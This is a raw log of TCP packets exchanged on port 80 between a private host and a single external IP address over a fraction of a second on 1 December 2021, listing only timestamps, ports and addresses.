Dec 1, 2021 10:04:55.066499949 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.066499949 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.066520929 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.066531897 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.066540003 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.066557884 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.066562891 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.066577911 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.066595078 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.066612005 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.066628933 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.066644907 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.066644907 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.066662073 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.066679955 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.066690922 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.066696882 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.066714048 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.066721916 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.066732883 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.066750050 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.066754103 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.066768885 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.066783905 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.066783905 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.066802979 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.066821098 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.066838026 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.066855907 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.066859961 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.066869020 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.066889048 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.066901922 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.066912889 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.066920996 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.066946030 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.066953897 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.066972017 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.066988945 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.066998005 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.067007065 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.067024946 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.067037106 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.067044020 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.067063093 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.067080021 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.067087889 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.067100048 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.067116976 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.067126989 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.067133904 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.067152977 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.067197084 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.067203999 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.067209959 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.067231894 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.067244053 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.067274094 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.067310095 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.067316055 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.067348003 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.067367077 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.067374945 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.067405939 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.067424059 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.067435026 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.067460060 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.067480087 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.067488909 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.067513943 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.067533970 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.067543030 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.067573071 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.067590952 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.067600012 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.067627907 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.067645073 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.067653894 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.067679882 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.067698002 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.067707062 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.067734957 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.067754030 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.067763090 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.067794085 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.067811966 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.067821980 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.067848921 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.067872047 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.067874908 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.067900896 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.067924023 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.067929029 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.067956924 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.067975044 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.067985058 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.068020105 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.068037033 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.068047047 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.068075895 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.068093061 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.068101883 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.068129063 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.068145990 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.081154108 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.084125996 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.087066889 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.087095976 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.087256908 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.093367100 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.093400955 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.093579054 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.102965117 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.102996111 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.103161097 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.114779949 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.114809990 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.114823103 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.114835024 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.114847898 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.114861012 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.114873886 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.114890099 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.114907980 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.114923000 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.114938974 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.114955902 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.114972115 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.114989042 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.115005970 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.115015984 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.115021944 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.115040064 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.115056992 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.115098953 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.115139008 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.125657082 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.125688076 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.125699997 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.125716925 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.125735044 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.125751019 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.125767946 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.125783920 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.125802040 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.125818014 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.125834942 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.125852108 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.125868082 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.125885010 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.125888109 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.125901937 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.125920057 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.125936031 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.125936985 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.125956059 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.125972033 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.125976086 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.125991106 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.126008987 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.126013041 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.126027107 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.126041889 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.126045942 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.126060009 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.126076937 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.126081944 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.126095057 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.126111984 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.126112938 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.126128912 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.126146078 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.126147985 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.126168013 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.126184940 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.126185894 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.126199007 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.126214981 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.126228094 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.126245022 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.126261950 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.126277924 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.126288891 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.126296043 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.126313925 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.126329899 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.126339912 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.126346111 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.126364946 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.126373053 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.126383066 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.126399994 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.126409054 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.126416922 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.126435995 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.126444101 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.126460075 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.126468897 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.126477957 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.126494884 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.126504898 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.126512051 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.126528978 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.126545906 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.126557112 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.126573086 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.126585007 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.126590014 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.126607895 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.126624107 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.126627922 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.126641035 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.126657963 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.126673937 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.126682997 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.126691103 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.126708031 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.126720905 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.126724958 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.126744032 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.126754999 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.126761913 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.126777887 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.126787901 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.126795053 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.126815081 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.126827002 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.126831055 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.126848936 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.126859903 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.126866102 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.126883984 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.126892090 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.126902103 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.126918077 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.126925945 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.126935005 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.126950979 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.126961946 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.126966000 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.126982927 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.126995087 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.127000093 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.127017021 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.127024889 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.127034903 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.127052069 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.127068043 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.127084970 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.127084970 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.127100945 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.127118111 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.127131939 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.127134085 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.127151966 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.127166986 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.127167940 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.127185106 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.127202034 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.127203941 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.127233028 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.138767004 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.138794899 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.138905048 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.144870043 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.144906044 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.145102978 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.151117086 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.151149988 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.151269913 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.160691977 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.160722017 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.160908937 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.172621965 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.172668934 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.172683001 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.172694921 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.172708035 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.172720909 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.172739029 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.172755003 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.172770023 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.172785997 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.172802925 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.172820091 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.172836065 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.172868967 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.172878981 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.172887087 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.172904968 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.172923088 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.172940969 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.172945023 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.172959089 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.172976017 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.173002958 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.173039913 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.184694052 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.184722900 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.184736013 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.184748888 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.184768915 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.184786081 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.184803009 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.184818983 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.184834957 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.184876919 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.184895039 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.184897900 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.184911966 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.184928894 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.184947014 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.184963942 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.184981108 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.184989929 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.184998989 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.185018063 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.185035944 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.185039043 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.185055017 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.185070992 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.185087919 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.185090065 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.185106993 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.185125113 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.185127974 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.185143948 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.185157061 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.185163021 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.185180902 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.185197115 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.185204983 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.185214996 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.185233116 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.185237885 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.185250998 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.185266972 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.185267925 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.185287952 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.185305119 CET	80	49826	95.213.165.249	192.168.2.3
